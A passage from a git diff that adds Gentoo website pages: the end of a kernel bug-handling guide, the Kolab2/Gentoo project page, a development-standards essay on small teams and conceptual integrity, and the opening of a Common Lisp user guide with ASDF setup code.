+Actually, the way we do it is by getting the user to file the bug report, and
+then us tracking it. Here is the process I follow:
+</p>
+
+<ol>
+<li>Mark the Gentoo bug as UPSTREAM, and add "linux-bugzilla-pending" to the
+status whiteboard. While doing so, add a comment asking the user to file the
+bug upstream. Give them the kernel bugzilla URL, ask them to post the new bug
+URL on the Gentoo bug when done, and provide some basic guidance for what
+they should include in their bug report
+(<uri link="https://bugs.gentoo.org/show_bug.cgi?id=164802#c19">example
+here</uri>).</li>
+<li>When the user responds with the upstream bug URL, place that URL in the
+URL field of the Gentoo bug. Remove "linux-bugzilla-pending" from the status
+whiteboard, and add "watch-linux-bugzilla". Add a quick comment stating that
+we'll keep an eye on the upstream bug.</li>
+<li>Go to the upstream bug report. Read through it. Did the user miss any
+important information from their description? If so, add a comment with that
+information. If there are useful attachments on the Gentoo bug which the user
+didn't attach to the upstream bug, attach them yourself with brief
+descriptions.</li>
+<li>Add kernel@gentoo.org to the CC list. If the user didn't mention the URL
+to the Gentoo bug on the upstream bug report, add a comment with the URL.</li>
+</ol>
+
+<p>
+If the user doesn't respond to the request to file the bug upstream, discard
+the bug like you would for other unresponsive cases. Since you closed
+it as UPSTREAM, it will drop off the buglist anyway -- so do remember to
+continue the process when they do respond with the upstream bug URL. The linux-bugzilla-pending keyword allows us to measure how often bugs get lost at this point, and allows us to follow up.
+</p>
+
+<p>
+When the bug gets updated upstream, kernel@gentoo.org will get the bugmail,
+and since you have that address on your watch list, you'll see it too. When
+the bug gets fixed, reopen then downstream bug with a quick summary of the
+solution, removing the "watch-linux-bugzilla" tag.
+</p>
+
+<p>
+If someone closes the upstream bug without a fix (for example, the user
+didn't respond to an information request, or the bug got marked as invalid),
+reflect the changes downstream: mark the equivalent Gentoo bug as CLOSED and
+remove the "watch-linux-bugzilla" tag.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Sending email bug reports upstream</title>
+<body>
+
+<p>
+To be written later. This is basically used as a fallback if the upstream
+bug isn't getting the attention it needs.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Other bugzilla stuff</title>
+
+<section>
+<title>Access privileges</title>
+<body>
+
+<p>
+This document includes references to manipulating bugs on the Gentoo bugzilla
+(closing/reopening/reassigning/etc). Unless you're a Gentoo developer or you're
+the bug reporter, you don't actually have access to do this though.
+</p>
+
+<p>
+If a certain action should be taken on a bug which you don't have permission
+for, you should ask in #gentoo-kernel on IRC for someone to perform the
+operation. If there is no response, leave a simple comment on the bug
+requesting the change, e.g. "please close this bug as NEEDINFO"
+</p>
+
+<p>
+I realise this is a pain, but it's only a temporary one. Once you've made
+several contributions to bugs in this form, I will increase your bugzilla
+access permissions so that you can perform these tasks on your own.
+</p>
+
+<p>
+The other aspect of this problem is manipulating bugs on the upstream kernel
+bugzilla. This needs to be done much less than bugs downstream. I personally
+have developer access to the upstream bugzilla, so if anything needs doing
+(bugs closing/reassigning/etc), prod me on IRC. In future we could look into
+getting more people developer access here.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Status Whiteboard</title>
+<body>
+
+<p>
+Bugzilla has a single-line status whiteboard text field for each bug, which
+you are free to put anything in. I use it for certain kinds of tagging.
+</p>
+
+<p>
+If a bug is present in 2.6.20, but fixed in 2.6.21 and the fix is not yet
+known, I place "linux-2.6.21" in the status whiteboard field. This is
+effectively tagging the bug saying "this problem goes away when 2.6.21 gets
+released".
+</p>
+
+<p>
+If the bug is a 2.6.21 regression, I place "linux-2.6.21-regression" in the
+status whiteboard. This is used for one of the saved searches I linked to
+earlier. If the bug is a regression but the exact version which introduced
+the bug is unknown (e.g. 2.6.16 worked, 2.6.20 is broken), I place
+"linux-2.6.??-regression" in the whiteboard. For regressions I also prefix the
+summary field with (e.g.) <c>[2.6.21 regression]</c>, so that things are
+immediately viewable from the search results.
+</p>
+
+<p>
+If the bug has been reported upstream, I place the upstream bug URL in the
+URL field, and "watch-linux-bugzilla" in the status whiteboard field. This is
+used by one of the saved searches.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Bug resolution</title>
+<body>
+
+<p>
+When a bug has been solved but is not fixed in portage (i.e. is pending a patch
+being added to genpatches, or pending the next genpatches/gentoo-sources
+release), we add the <c>InSVN</c> bugzilla keyword.
+</p>
+
+<p>
+The bug is then closed with an appropriate message when a new kernel release
+(incorporating the fix) is added to the portage tree.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+
+<chapter>
+<title>genpatches and linux-stable</title>
+
+<section>
+<title>Submission criteria</title>
+<body>
+
+<ul>
+<li>This section is aimed at documenting the process for Gentoo kernel developers only (rather than just prospective ones), but if you're really keen, feel free to ask on IRC if you'd like to submit a patch.</li>
+<li>The patch must conform to the stable kernel rules, see Documentation/stable_kernel_rules.txt</li>
+<li>The patch must have been shipped in at least one gentoo-sources release. The reasoning here is that some of the time, patches committed to genpatches are untested -- full testing is carried out before release.</li>
+<li>The patch must not already be in the stable queue. Check the
+<uri link="http://git.kernel.org/?p=linux/kernel/git/stable/stable-queue.git;a=tree">stable-queue.git web interface</uri>.</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>Submission process</title>
+<body>
+
+<p>
+Prepare an email in the following way:
+</p>
+
+<ul>
+<li>Addressed to stable@kernel.org</li>
+<li>CC kernel@gentoo.org</li>
+<li>CC the patch author, who's contact details can be found in the patch</li>
+<li>Use the same subject line as the one in the patch, prepended with [PATCH] if it is not there already.</li>
+<li>In the message body, include a very brief description with a reference to the Gentoo bug report, for example: This patch fixes a bootup crash in the snd-intel-hda driver as detailed at http://bugs.gentoo.org/12345</li>
+<li><e>Attach</e> the patch to the email, directly from genpatches. The patch should have come from gitweb or similar and already have the authorship details, commit ID, etc.</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>What to do now?</title>
+<section>
+<body>
+
+<p>
+Look at some bug reports from the saved searches you configured earlier. If
+you can contribute straight off, go right ahead. However, I expect you'll
+probably be unsure what should happen next. So, pick a bug, and question us
+about it, preferably on IRC in #gentoo-kernel. Alternatively, you could write
+to the gentoo-kernel mailing list.
+</p>
+
+<p>
+It may seem that many of the open bugs are already in good hands, waiting on
+the user, or something like that. However, please stick around, because we
+get a steady flow of new bugs!
+</p>
+
+<p>
+While this document has introduced you to the processes, you may not feel
+capable of jumping into problems and solving bugs. That's fine! Because you
+have put kernel@gentoo.org on your bugzilla watchlist, you will see bugs as
+they come in <e>and</e> the way that we fix them. Observe how we handle and
+solve the issues. Sooner or later, you will be able to mimick our activities
+on other bugs, and you'll be away!
+</p>
+
+<p>
+Thank you for your interest in helping us!
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
+
diff --git a/xml/htdocs/proj/en/kolab/index.xml b/xml/htdocs/proj/en/kolab/index.xml
new file mode 100644
index 00000000..18e7526d
--- /dev/null
+++ b/xml/htdocs/proj/en/kolab/index.xml
@@ -0,0 +1,249 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/kolab/index.xml,v 1.10 2010/07/17 13:44:09 jmbsvicetto Exp $ -->
+
+<project>
+
+  <name>
+  Kolab
+  </name>
+
+  <longname>
+  Kolab2/Gentoo Groupware Project
+  </longname>
+
+  <date>
+  2007-12-20
+  </date>
+
+  <author title="Author">
+    <mail link="wrobel@gentoo.org">
+    Gunnar Wrobel
+    </mail>
+  </author>
+
+  <description>
+    The project ports Kolab, a powerful Groupware server,
+    to Gentoo and maintains the packages required for the server.
+  </description>
+
+  <longdescription>
+    <p>
+      The <uri link="http://www.kolab.org">Kolab Project</uri>
+      provides a powerful groupware server that works together with a
+      variety of clients (Outlook, Kontact, Thunderbird, Horde Webmail
+      ...) and is a complete <uri
+      link="http://en.wikipedia.org/wiki/Free_software">free
+      software</uri> solution.
+    </p>
+    
+    <p>
+      The groupware server has traditionally been packaged for the
+      <uri link="http://www.openpkg.org">OpenPKG distribution</uri>
+      which you can install as a "distribution within a distribution"
+      on many Linux distributions. The Kolab2/Gentoo project tries to
+      provide packages that allow you to install the server directly
+      in the Gentoo environment without using OpenPKG.
+    </p>
+  </longdescription>
+
+  <goals>
+    <p>
+      The goal of the Kolab2/Gentoo project is to get the Kolab2 Server
+      available via Portage and maintain the necessary packages in the
+      tree.
+    </p>
+  </goals>
+
+<!-- developers: add yourself -->
+
+<!-- Resources -->
+
+<resource link="http://overlays.gentoo.org/proj/kolab">Kolab2/Gentoo overlay</resource> 
+<resource link="http://wiki.kolab.org/index.php/Gentoo_-_SysAdmin_-_Installation">Installation instructions</resource> 
+<resource link="http://wiki.kolab.org/index.php/Gentoo">Kolab2/Gentoo wiki</resource> 
+<resource link="http://forum.pardus.de">Kolab2/Gentoo forum</resource> 
+
+<!-- Documentation -->
+
+<extrachapter>
+
+<title>Documentation</title>
+
+<section>
+<title>Installation</title>
+<body>
+<p>
+The <uri
+link="http://wiki.kolab.org/index.php/Gentoo_-_SysAdmin_-_Installation">installation
+instructions</uri> for Kolab2/Gentoo are managed within the <uri
+link="http://wiki.kolab.org/index.php">Kolab wiki</uri>.
+</p>
+</body>
+</section>
+
+</extrachapter>
+
+<!-- Resources -->
+
+<extrachapter>
+
+<title>Detailed project links</title>
+
+<section>
+<title>Kolab homepage</title>
+<body>
+<p>
+For a general overview over the Kolab Groupware server you should visit <uri
+link="http://www.kolab.org/">the Kolab project site</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Project overlay</title>
+<body>
+<p>
+The <uri
+link="http://overlays.gentoo.org/proj/kolab">project overlay</uri> on <uri
+link="http://overlays.gentoo.org/">the Gentoo overlays site</uri>
+holds all current package definitions.
+</p>
+
+<p>
+If you are interested in getting on overview over the recent changes
+in the overlay you will also find <uri
+link="http://overlays.gentoo.org/proj/kolab/browser/overlay/CHANGES">a
+readable change log</uri> in the Gentoo overlay.
+</p>
+</body>
+</section>
+
+<section>
+<title>Wiki</title>
+<body>
+<p>
+All documentation concerning the Kolab2/Gentoo project is accessible
+via a special <uri
+link="http://wiki.kolab.org/index.php/Gentoo">portal page</uri> within
+the main <uri link="http://wiki.kolab.org/index.php">Kolab wiki</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Forum</title>
+<body>
+<p>
+You can also discuss the project using the <uri
+link="http://forum.pardus.de">Kolab2/Gentoo forum</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Mailing lists</title>
+<body>
+<p>
+Currently using the <uri
+link="http://kolab.org/mailman/listinfo/kolab-users">Kolab users
+mailing lists</uri> is the recommended option. But there will be
+another project specific mailing list created soon.
+</p>
+</body>
+</section>
+
+<section>
+<title>Bugs</title>
+<body>
+<p>
+Please submit bugs to the <uri link="http://bugs.gentoo.org">Gentoo
+bug tracker</uri>. Please ensure that your bug summary starts with 
+<c>[kolab overlay]</c> so that it can be correctly assigned.
+</p>
+</body>
+</section>
+
+<section>
+<title>IRC</title>
+<body>
+<p>
+For direct questions you may try to contact us over IRC. The project
+specific channel is <uri
+link="irc://freenode/gentoo-kolab">#gentoo-kolab</uri> and the general
+Kolab crowd can be found at <uri
+link="irc://freenode/kolab">#kolab</uri>.
+</p>
+
+<p>
+If you ask for help on <uri link="irc://freenode/kolab">#kolab</uri>
+you should always make it clear that you are using Kolab2/Gentoo
+rather than Kolab2/OpenPKG. Otherwise the answers you get might simply
+not solve your problem.
+</p>
+</body>
+</section>
+
+<section>
+<title>RSS Feeds</title>
+<body>
+<ul>
+  <li>
+    <uri
+	link="http://overlays.gentoo.org/proj/kolab/timeline?changeset=on&amp;wiki=on&amp;max=50&amp;daysback=90&amp;format=rss">
+      Overlay commits
+    </uri>
+  </li>
+  <li>
+    <uri
+	link="http://forum.pardus.de/index.php?action=.xml;board=7;type=rss">
+      New forum announcements
+    </uri>
+  </li>
+  <li>
+    <uri
+	link="http://wiki.kolab.org/index.php?title=Gentoo_-_SysAdmin_-_Installation&amp;action=history&amp;feed=rss">
+      Kolab2/Gentoo Installation instruction changes
+    </uri>
+  </li>
+  <li>
+    <uri
+	link="http://log.onthebrink.de/feeds/posts/default/-/kolab2gentoo">
+      Kolab2Gentoo Blog posts
+    </uri>
+  </li>
+</ul>
+
+<p>
+  And finally a combined RSS feed can be obtained <uri
+link="http://www.google.com/reader/public/atom/user/02645926629531261525/label/%5Bproject%5D%20Kolab2Gentoo">here</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Ohloh project site</title>
+<body>
+
+<p>
+A project code overview and a summary can also be found at <uri
+link="http://www.ohloh.net/projects/9490?p=Kolab2Gentoo">Ohloh.net</uri>
+</p>
+
+</body>
+</section>
+
+</extrachapter>
+
+<!--  
+Add a "participating" chapter. Maybe also project history. A roadmap?
+-->
+
+<!--  
+A herd should probably be created.
+<herd name="kolab" />
+ -->
+</project>
diff --git a/xml/htdocs/proj/en/lead/dev-project-stds.xml b/xml/htdocs/proj/en/lead/dev-project-stds.xml
new file mode 100644
index 00000000..1c4c9f83
--- /dev/null
+++ b/xml/htdocs/proj/en/lead/dev-project-stds.xml
@@ -0,0 +1,322 @@
+This document contains comprehensive standards for Gentoo software development
+projects. These standards should benefit nearly any Gentoo project, but are
+particularly critical for projects that demand a very high level of refinement
+and overall quality.
+
+Goals
+
+The goal of this development standards document is to provide a template for
+software development efforts that, when followed, will produce the best
+possible results for Gentoo. It is intended to define a waterfall model for
+Gentoo (with spiral aspects in appropriate places) to address the challenges
+and user expectations of Gentoo's volunteer, community-based development model.
+Often, it is the attention paid to details that make a difference, and this is
+particularly true of software engineering. This document also attempts to
+address those little details that can have a very large impact on the success
+or failure of software development efforts.
+
+First Steps
+
+Before starting any development project, try to get a good general idea of the
+goal of the project. What is the purpose of this effort? What parts of Gentoo
+will be interested in this development effort? Once you have a good high-level
+understanding of the effort, it's time to begin the process of formally
+defining the characteristics, goals and requirements of your project.
+
+Target Audience
+
+A critical first step is to clearly define the target audience of your
+development effort. 
+
+If your development effort will focus on producing an enhanced version of a
+tool that is already being used by many Gentoo users, then your target audience
+will generally include the Gentoo users who are already using the current
+version of the tool. In turn, your development process should invite
+participation from this community.  (Note: designing a "next-generation"
+version of an existing tool has a number of potentially serious pitfalls.
+Please be sure to read the "Second System Effect" section in this document particularly 
+carefully in this case.)
+
+The most obvious example of this principle relates to the development of Portage.
+Because Portage is used by nearly every Gentoo user, a development effort
+related to improving Portage would generally include the entire Gentoo user
+community as the target audience. 
+
+Since the success or failure of any effort to improve Portage will be
+determined by how well it meets the requirements of the Gentoo user community,
+it will be of great benefit to gather as much input as possible from Gentoo
+users. Any changes should be acceptable to the Gentoo user community as a
+whole.
+
+On the other hand, if you are developing a new piece of software that does not
+have an already-established user community, you may determine that it is best
+to choose a more select group (such as a group of developers) as your target
+audience.  Often, this is the most practical choice when you are creating a
+toolkit or engine that requires some level of technical expertise to use, and
+which may be used to produce products that are in turn delivered to the user
+community.  In time, your software may develop its own user community. At this
+point, your target audience can be widened to include these users, who can then
+participate in future development efforts.
+
+One example of a development effort that was started without an existing user
+community is the catalyst build tool, which is used to build official Gentoo
+stages and LiveCDs. Very few Gentoo developers (let alone users) are familiar
+with the complex details involved in building stages and LiveCDs, so there was
+little benefit to be had in trying to invite input from regular Gentoo users in
+the design and development of catalyst.  However, as catalyst begins to develop
+its own community of dedicated users, this will change. When a catalyst user
+community exists, it will be considered part of the target audience for any
+future development and these users will be invited to participate in defining
+goals and requirements for future development. 
+
+Specific ways to involve users in the development process of your software are
+included throughout this document.
+
+Another example of the "no existing user community" situation is the Gentoo
+Installer project. While at first read it may seem as if the Installer project
+should be squarely aimed at Gentoo users (and thus Gentoo users should be
+included in the target audience from the start,) it was decided that the most
+effective course of action was to develop an Installer _Engine_.  This Engine
+would be used by developers to build installers for end-users.
+
+Because the high-level goal of this effort is to build an Installer Engine or
+toolkit (rather than an individual installer,) the target audience was chosen
+to be a group of Gentoo developers who will be using this tool initially. In
+time, as Gentoo users start using this tool to create their own custom
+installers, the target audience for the development effort will widen to
+include them. This will allow future developments to be responsive to their
+needs and requests.
+
+Invite Participation 
+
+The next step is to invite the participation of your target audience. You
+definitely want your target audience to participate in defining the goals of
+your effort. Members of your target audience could also conceivably create a
+prototype, or even assist with the architecting or implementation of the actual
+program.
+
+The purpose of inviting participation is twofold. First, if your target
+audience needs a particular capability, it is best to know about it sooner
+rather than later. Second, volunteer projects are often limited by resources,
+and inviting participation is a great way to start getting an idea as to the
+resources you have, which will help you to set a reasonable design and
+development schedule. Third, because Gentoo is a community project, open
+participation is a way of keeping the community informed. Quite a few
+participants may not contribute requests for functionality or assist with
+design or implementation, but at the very least they will be apprised of what
+is going on with your effort. Keeping the community informed of what you are 
+working on is very beneficial to the project as a whole.
+
+The best way to invite participation is to start a decicated mailing list (and
+possibly irc channel) devoted to your effort, or to use an appropriate existing
+"special purpose" mailing list. Inform anyone in your target
+audience who wants to be involved to join this list. Make sure that your
+invitation extends to your entire target audience, and consider posting a
+www.gentoo.org news item or GWN article about the effort to invite
+participation if appropriate.
+
+Create a High-Level Development timeline
+
+Next, develop a tenative development roadmap for your effort that sets general
+completion dates for:
+
+1) project start (public invitation)
+2) initial work on design/requirements doc
+3) completion of design/requirements doc (should be at least a month after #2)
+
+In addition, your roadmap should also define how the design, development and
+testing process should proceed, so it should define steps such as:
+
+4) implementation proposal process
+5) review process
+6) prototype implementation
+7) prototype test
+8) final implementation
+9) final test
+
+Of course, until you know what you are designing, it is hard to define a
+development schedule. Steps 4 and beyond will need to have very tenative dates
+associated with them at first, if any at all.
+
+Also note steps 7 and 9 above. They are steps that involve performing testing
+and QA on the results of your work. It's important to build testing and QA into
+your development schedule, and not tack it on as an afterthought. Not doing so
+has a tendency to derail projects as they enter later stages of development.
+Plan on spending a solid 50% of your development effort on testing, QA and bug
+fixing. Yes, that is a large percentage, but projects that allow for a lot of
+testing, QA and bug fixing are generally more likely to be successful than
+those that don't.  And if you do your job right, not all of the allotted time
+will be needed and your project will finish early.  Also, as humans we have a
+tendency to forget that we are not perfect, and that our implementations can
+(and generally do) require a significant number of bug fixes and enhancements
+before being production-ready.
+
+As the project progresses, you may need to review your timeline and make
+adjustments.  It is OK to make changes. But it is essential to always have a
+documented timeline that indicates when you currently expect to complete each
+plannable aspect of the development effort. You should always have a clear set
+of dates that you're shooting for -- otherwise your development effort runs the
+risk of not having a clear focus.
+
+Gentoo is a volunteer project, and the nature of volunteer work can make it
+quite challenging to meet deadlines. Fortunately, there are quite a few
+techniques that can be used to make your development effort resilient, so that
+it can meet the unexpected challenges of volunteer development, whether this
+means flexibility in dealing with needed adjustments to deadlines, coping with
+changes in developer interest and activity, etc.
+
+One absolutely critical aspect to ensuring success in an uncertain environment
+is to *clearly define the requirements for the results of your effort*.  "Hard
+requirements" are specific, testable aspects of your end-product -- aspects
+that must be achieved in order for your development effort to be considered a
+success. If you're behind schedule, you can't compromise on a hard requirement
+-- doing so would undermine the entire purpose of the development effort. Instead,
+your schedule will need to be adjusted to reflect the your current progress. 
+
+You need to have all your hard requirements documented before actual coding
+begins, so you have a clear goal for your effort. This will prevent feature
+bloat and ensure that you have a clear, focused development plan and that
+your progress towards the goal can be ascertained.
+
+On the other hand, _soft_ requirements are somewhat negotiable. If your project
+is at risk of falling behind schedule, you may choose to waive one or several
+of your soft requirements in order to allow your team to complete your project
+on time. It's also possible that you may choose not to abandon any of your soft
+requirements if, for example, your development project isn't particularly
+time-sensitive. Like hard requirements, soft requirements should also be
+defined before coding begins.  That way, if compromises need to be made, your
+effort already has clearly-defined "crumple zones."
+
+Efficient Teams, Conceptual Integrity
+
+As your development effort begins, you're going to need to assemble some kind
+of capable team to do the necessary planning (and then organization, coding and
+testing.) The aspects of the development process described so far have
+been very "open." You've been encouraged to include as many people as possible
+in the development effort, and start documenting the needs of your target
+audience (we'll be covering more on this in the next section.)
+
+Not every aspect of your effort will need to be as open as possible. Yes, there
+are certain aspects that do need to be as open as possible, such as defining
+requirements for your development effort. But when it becomes time to define
+the final production architecture and then code your program, you're going to
+need to temporarily shut your doors to any significant outside participation.
+At that point, you want to have as <i>small</i> a team as possible working on
+the code. So enjoy the public participation while you can and make sure you
+understand the needs of your target audience, because at a certain point this
+open participation will need to be put on hold. Then your team's focus will
+shift inwards, towards implementing the program as per the documented
+requirements and design goals.
+
+This may seem very odd, but here's the reason why you want a very small
+development team. Smaller teams are generally much more productive than large
+teams. There's less overhead involved in keeping everyone informed about what's
+going on. Decisions can be made more quickly. Coordination is easier. Try
+to keep your core development team at 10 people or less.
+
+For your final implementation, I recommend that you have <b>one</b> designated
+implementation architect/builder. The implementation will be completed by this
+one person.  This is actually a very beneficial aspect to a successful development
+effort because it ensures that your effort is capable of having <i>conceptual
+integrity</i>.  Conceptual integrity is an important aspect of
+software design -- it means the thing you are designing, taken as a whole,
+makes sense and works together like a well-oiled machine.
+
+If you do not have a single person in charge of implementation, you
+risk creating a situation where there is no one person in your effort with a
+complete, authoritative vision for the implementation of the software you
+are creating. This is a very dangerous condition, as it can result in software
+that functions like a mish-mash of parts, doesn't work well, and isn't completed
+on-time.
+
+Here's why small teams and a single implementation architect can be very efficient.
+With this model, every little detail related to implementation does not need
+to be documented and communicated to a large number of people. Communication has
+the potential of taking up a huge amount of resources during the implementation
+phase when there are a massive number of details and decisions that need to be made.
+Small teams and a single implementation architect allow the implementation effort
+to be as efficient and cohesive as possible.
+
+Please note that I am not saying that one person should do all the work. You
+can compare the "single architect/builder model" to that of a surgical team.
+One lead surgeon directs the surgery and generally performs all the incisions.
+The lead surgeon is always aware of the state of the patient, and he or she
+is ultimately responsible for the patient's well-being.
+But there are also other surgeons involved. Some are providing direct
+assistance to the lead surgeon. Others are reviewing the surgeon's work to
+ensure that it is performed correctly. There are also support staff who are
+providing adequate materials to the surgeon so that he can work as efficiently
+as possible and focus on the task at hand.
+
+Likewise, your team can have one person who is in charge of
+implementation/coding and still truly be a team. The other team members can and
+should review the architect's work and offer their feedback and suggestions.
+There should be some built-in process to allow this kind of peer-review.
+Some team members may have a very good grasp of the implementation programming
+language or various programming techniques and offer good suggestions on how to
+improve the implementation.  Others may suggest a change in approach that could
+improve maintainability of the code.  The implementation team needs to work
+together to produce the best possible result.  But the incisions should all be
+made by or at the very least at the direction of the lead surgeon; otherwise
+there is a risk that your team will be uncoordinated or waste an uncessarily
+large percentage of effort on coordination and communication tasks. This could
+have an adverse impact on the health of the patient, which in this case is the
+software that is being developed.
+
+Everyone on the team should have an opportunity to help improve the
+implementation, but only one person (or as few as possible) should actually be
+doing the implementing. This will allow the implementors to work efficiently.
+
+Here are some suggested roles for the members of your development effort:
+
+1) Architect/builder: responsible for the implementation (both the design
+of the implementation and actually doing the implementing.)
+This person will be doing the majority of the coding, and will also write
+the initial (possibly rough) documentation. This person has final authority
+over the implementation of the software.
+
+2) Assistant architect: reviews the work of the Architect, audits the integrity
+fo the Architect's work and handles administrative and planning efforts while
+the Architect is busy working on the code. Has a very good understanding of the
+vision and implementation plan so that he/she can substitute for the Architect
+in emergencies.  Can act as liaison for any bug reports or hashing out of
+feature requests so that the Architect receives this feedback in a refined
+(rather than rough) form. 
+
+3) Language/design lawyer: Periodically reviews the implementation and offers
+feedback on better use of language constructs or design, with an eye towards
+improving maintainability, performance, code reuse, coding efficiency and/or
+better meeting the design requirements.
+
+4) Documentation Lead: Responsible for taking the Architect/builders's rough
+initial documentation and creating high-quality documentation suitable for public
+consumption. This may involve creating a new manual geared towards users rather
+than developers.
+
+Please note that it is possible to have a successful development effort that has
+a team of two people: a Lead Architect and Assistant Architect. In fact, a team size
+of two tends to be extremely efficient. Don't fear small teams; instead, keep your
+implementation team as small as practically possible.
+
+I believe that one thing that made Portage well-received by the public was the
+attention to conceptual integrity that went into its design. Portage provides a
+set of capabilities that work together quite well.  Over the years, various
+features have been grafted in to Portage, some more successfully than others.
+The features that were integrated well were those in which considerable
+attention was paid to protecting the conceptual integrity of Portage. Because
+these feature additions made sense as part of a larger whole, they improved the
+utility of the entire program.
+
+Often, it's not the number of features that define the quality of a piece of
+software, but rather how well the relatively few features that exist complement
+one another. In the same sense, the number of developers on your implementation
+team generally does not corollate to the overall pace of development or the
+quality of the implementation. Keep these things in mind, particularly in the
+planning stages.
+
+The Second System Effect
+
+Defining Requirements
+
+The Requirements Specification Document
+
diff --git a/xml/htdocs/proj/en/lisp/common-lisp/guide.xml b/xml/htdocs/proj/en/lisp/common-lisp/guide.xml
new file mode 100644
index 00000000..359887cf
--- /dev/null
+++ b/xml/htdocs/proj/en/lisp/common-lisp/guide.xml
@@ -0,0 +1,235 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="guide.xml" lang="en">
+  <title>Gentoo Common Lisp User Guide</title>
+  <author title="Author"><mail link="mkennedy@gentoo.org">Matthew Kennedy</mail></author>
+  <abstract>And overview of Common Lisp implementations and libraries in Portage and how to integrate them.</abstract>
+  <version>1.0</version>
+  <date>2006-11-01</date>
+  <chapter>
+    <title>Overview</title>
+    <section>
+      <title>Introduction</title>
+      <body>
+	<impo>This guide describes the use of Common Lisp in Gentoo for those using ~arch keywords.</impo>
+      </body>
+    </section>
+    <section>
+      <title>Implementations</title>
+      <body>
+	<p>One of the great things about Common Lisp is the variety of quality implementions avaiable.  Gentoo supports the following free software implementations:</p>
+	<table>
+	  <tr>
+	    <ti>dev-lisp/sbcl</ti>
+	    <ti><uri link="http://sbcl.sf.net/">Steele Bank Common Lisp</uri></ti>
+	  </tr>
+	  <tr>
+	    <ti>dev-lisp/cmucl</ti>
+	    <ti><uri link="http://www.cons.org/cmucl/">CMU Common Lisp</uri></ti>
+	  </tr>
+	  <tr>
+	    <ti>dev-lisp/clisp</ti>
+	    <ti><uri link="http://clisp.sf.net/">CLISP</uri></ti>
+	  </tr>
+	  <tr>
+	    <ti>dev-lisp/abcl</ti>
+	    <ti><uri link="http://armedbear.org/abcl.html">Armed Bear Common Lisp</uri></ti>
+	  </tr>
+	  <tr>
+	    <ti>dev-lisp/ecls</ti>
+	    <ti><uri link="http://ecls.sf.net/">Embeddable Common Lisp (ECL)</uri></ti>
+	  </tr>
+	  <tr>
+	    <ti>dev-lisp/gcl</ti>
+	    <ti><uri link="http://www.gnu.org/software/gcl/gcl.html">GNU Common Lisp (GCL)</uri></ti>
+	  </tr>
+	  <tr>
+	    <ti>dev-lisp/openmcl</ti>
+	    <ti><uri link="http://openmcl.clozure.com/">OpenMCL</uri></ti>
+	  </tr>
+	</table>
+      </body>
+    </section>
+    <section>
+      <title>Libraries</title>
+      <body>
+	<p>As of writing, there are over two-hundred Common Lisp libraries supported in Gentoo.  All Common Lisp libraries in Gentoo are made available within the <uri link="http://sources.gentoo.org/viewcvs.py/gentoo-x86/dev-lisp/">dev-lisp</uri>.</p>
+	<p>Each ebuild name begins with the "cl-" prefix for historical reasons.  If the name of the library upstream does not begin with "cl-", then "cl-" is prefixed to create the Gentoo ebuild name. eg. "araneida" becomes "cl-araneida".  If the name of the library upstream begins with "cl-", then the Gentoo ebuild name will be the same. eg. "cl-ppcre".</p>
+      </body>
+    </section>
+    <section>
+      <title>Integration of Implementations and Libraries</title>
+      <body>
+	<impo>Prior to the construction of the Gentoo Common Lisp Project and the Portage Overlay, integration of the Common Lisp implementations and libraries in Gentoo was achieved using the Common Lisp Controller which was ported from the Debian Project.  After the construction of the Portage Overlay, the Lisp implementation ebuilds were redesigned to install the implementation the way the upstream developers intended.  As CLISP 2.41, SBCL 0.9.18 and CMUCL 19d-pre1 became available in Portage proper (CVS/rsync) support for the Common Lisp Controller for CLISP, SBCL and CMUCL was dropped aslo.</impo>
+	
+	<p>Under the Common Lisp Controller scheme, each implementation includes code for redirection of compilation output (FASL files.  The Common Lisp Controller code is saved in the Lisp implementation's image (or initialization) at emerge and is present when the user starts the Lisp implementation.  Refer to the Common Lisp Controller documentation for more detail.</p>
+      </body>
+    </section>
+    <section>
+      <title>Using Common Lisp Without the Common Lisp Controller</title>
+      <body>
+	<note>This section is relevant only if you are using the Portage Overlay which removes support for the Common Lisp Controller.</note>
+	<p>The most important feature of the Common Lisp Controller from our distribution's standpoint is the redirection of compiled output from source files located in user read-only directories under /usr/share/common-lisp/source/ to a user-writable path.  This feature can be achieved using the <uri link="http://common-lisp.net/project/cl-containers/asdf-binary-locations/">ASDF Binary Locations</uri> extension to ASDF.</p>
+	<p>The first step is to install ASDF if your choice of Common Lisp implementation does not come bundled with ASDF.  SBCL and ECL currently bundle ASDF.</p>
+	<pre caption="Installing ASDF and ASDF Binary Locations from Portage">
+# emerge dev-lisp/cl-asdf dev-lisp/cl-asdf-binary-locations
+	</pre>
+	<p>Create a Gentoo Common Lisp initialization file somewhere in your home directory.  You might call the file "gentoo-init.lisp" perhaps.  You could include this initialization code directly in your Lisp implementation's initialization file (eg. ~/.sbclrc, ~/.clisprc, ~/.cmucl-init.lisp etc.), but it will make more sense to include it from an external file if you work with more than one implementation.  The first thing our initialization code must do is load ASDF:</p>
+	<pre caption="Loading ASDF from gentoo-init.lisp">
+(in-package #:cl-user)
+#+(or sbcl ecl) (require :asdf)
+#-(or sbcl ecl) (load #p"/usr/share/common-lisp/source/asdf/asdf.lisp")
+	</pre>
+	<p>If the implementation includes ASDF then you may need to load it using the implementation a specific REQUIRE. If the implemention doesn't include ASDF then we load it directly.  The next step is to configure ASDF to use the Portage-installed Common Lisp libraries and then load ASDF Binary Locations:</p>
+	<pre caption="Configuring ASDF">
+(push #p"/usr/share/common-lisp/systems/" asdf:*central-registry*)
